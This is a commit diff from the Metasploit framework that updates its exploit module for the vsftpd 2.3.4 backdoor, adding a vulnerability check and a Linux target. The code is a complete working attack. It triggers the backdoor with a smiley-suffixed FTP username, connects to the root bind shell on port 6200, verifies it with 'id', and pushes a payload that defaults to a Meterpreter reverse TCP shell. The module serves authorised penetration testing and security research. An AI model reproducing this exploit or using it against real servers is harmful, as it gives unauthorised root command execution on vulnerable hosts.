Merge pull request #20950 from g0tmi1k/vsftpd_234_backdoor
vsftpd_234_backdoor: Add check & targets
This commit is contained in:
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
info,
|
||||
'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a malicious backdoor that was added to the VSFTPD download
|
||||
This module exploits a malicious backdoor that was added to the VSFTPD download
|
||||
archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
|
||||
June 30th 2011 and July 1st 2011 according to the most recent information
|
||||
available. This backdoor was removed on July 3rd 2011.
|
||||
@@ -28,20 +28,24 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => [ 'unix' ],
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' => {
|
||||
'Space' => 2000,
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find'
|
||||
}
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'Linux/Unix Command',
|
||||
{
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
# This exploit also supports direct interaction with the backdoor using cmd/unix/interact payload
|
||||
'PAYLOAD' => 'cmd/linux/http/x86/meterpreter_reverse_tcp'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2011-07-03',
|
||||
'DefaultTarget' => 0,
|
||||
@@ -56,23 +60,80 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
register_options([ Opt::RPORT(21) ])
|
||||
end
|
||||
|
||||
def exploit
|
||||
def check
|
||||
# Check for backdoor first, else exploit will fail
|
||||
vprint_status("Checking if backdoor has already been triggered (else exploit will fail)")
|
||||
nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
|
||||
if nsock
|
||||
print_status("The port used by the backdoor bind listener is already open")
|
||||
handle_backdoor(nsock)
|
||||
return
|
||||
print_error("The port used by the backdoor bind listener is already open/in-use (6200/TCP)")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
# Connect to the FTP service port first
|
||||
vprint_status("Connecting to FTP service")
|
||||
connect
|
||||
|
||||
vprint_status("Checking FTP banner")
|
||||
banner = sock.get_once(-1, 30).to_s
|
||||
print_status("Banner: #{banner.strip}")
|
||||
|
||||
sock.put("USER #{rand_text_alphanumeric(rand(6) + 1)}:)\r\n")
|
||||
if banner.downcase.include?("vsftpd 2.3.4")
|
||||
print_status("FTP banner hints its vulnerable: #{banner.strip}")
|
||||
else
|
||||
vprint_status("FTP banner: #{banner.strip}")
|
||||
end
|
||||
|
||||
ftp_user = rand_text_alphanumeric(rand(6) + 1)
|
||||
vprint_status("Trying to log into FTP (User: #{ftp_user})")
|
||||
sock.put("USER #{ftp_user}\r\n")
|
||||
resp = sock.get_once(-1, 30).to_s
|
||||
print_status("USER: #{resp.strip}")
|
||||
if resp =~ /^530 /
|
||||
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if resp !~ /^331 /
|
||||
print_error("This server did not respond as expected: #{resp.strip}")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Appears if banner.downcase.include?("vsftpd 2.3.4") and resp =~ /^331 /
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Check for backdoor first, else exploit will fail
|
||||
framework.sessions.each do |sid, sess|
|
||||
next unless sess.via_exploit
|
||||
if sess.via_exploit == fullname
|
||||
vprint_error("Session #{sid} is already connected to the backdoor")
|
||||
end
|
||||
end
|
||||
|
||||
nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
|
||||
if nsock
|
||||
# Chance are, we will fail, but doesn't hurt to try
|
||||
print_warning("The port used by the backdoor bind listener is already open. Trying...")
|
||||
begin
|
||||
handle_backdoor(nsock)
|
||||
rescue
|
||||
vprint_error("Someone has beat us to it, the backdoor is already in-use!")
|
||||
raise Msf::Exploit::Failed, "Backdoor already in-use"
|
||||
end
|
||||
end
|
||||
|
||||
# Now connect to the FTP service
|
||||
vprint_status("Connecting to FTP service")
|
||||
connect
|
||||
|
||||
# Without this, 220 response, rather than 331
|
||||
vprint_status("Checking FTP banner")
|
||||
banner = sock.get_once(-1, 30).to_s
|
||||
vprint_status("FTP banner: #{banner.strip}")
|
||||
|
||||
ftp_user = "#{rand_text_alphanumeric(rand(6) + 1)}:)"
|
||||
vprint_status("Trying to log into FTP via backdoor. User: #{ftp_user}")
|
||||
sock.put("USER #{ftp_user}\r\n")
|
||||
resp = sock.get_once(-1, 30).to_s
|
||||
vprint_status(resp.strip)
|
||||
|
||||
if resp =~ /^530 /
|
||||
print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
|
||||
@@ -86,32 +147,48 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
|
||||
sock.put("PASS #{rand_text_alphanumeric(rand(6) + 1)}\r\n")
|
||||
ftp_pass = "#{rand_text_alphanumeric(rand(6) + 1)}"
|
||||
vprint_status("Trying to log into FTP via backdoor. Password: #{ftp_pass}")
|
||||
sock.put("PASS #{ftp_pass}\r\n")
|
||||
|
||||
# Do not bother reading the response from password, just try the backdoor
|
||||
vprint_status("Connecting to backdoor on 6200/TCP")
|
||||
nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
|
||||
if nsock
|
||||
print_good("Backdoor service has been spawned, handling...")
|
||||
print_good("Backdoor has been spawned!")
|
||||
handle_backdoor(nsock)
|
||||
return
|
||||
else
|
||||
print_warning("Unable to connect to backdoor on 6200/TCP. Cooldown?")
|
||||
end
|
||||
|
||||
# Finished with FTP
|
||||
disconnect
|
||||
end
|
||||
|
||||
def handle_backdoor(s)
|
||||
vprint_status("Trying 'id' command")
|
||||
s.put("id\n")
|
||||
|
||||
# Wait 5 seconds and get everything
|
||||
r = s.get_once(-1, 5).to_s
|
||||
if r !~ /uid=/
|
||||
print_error("The service on port 6200 does not appear to be a shell")
|
||||
print_error("The service on port 6200/TCP does not appear to be a fresh shell. Already exploited?")
|
||||
# Finished with the backdoor
|
||||
disconnect(s)
|
||||
return
|
||||
raise Msf::Exploit::Failed, 'Could not connect to backdoor'
|
||||
end
|
||||
|
||||
print_good("UID: #{r.strip}")
|
||||
vprint_good("UID: #{r.strip}")
|
||||
|
||||
unless payload.encoded.empty?
|
||||
c = ""
|
||||
c << payload.encoded
|
||||
c << "\n"
|
||||
vprint_status("Running: #{c.strip}")
|
||||
s.put(c)
|
||||
end
|
||||
|
||||
s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
|
||||
handler(s)
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user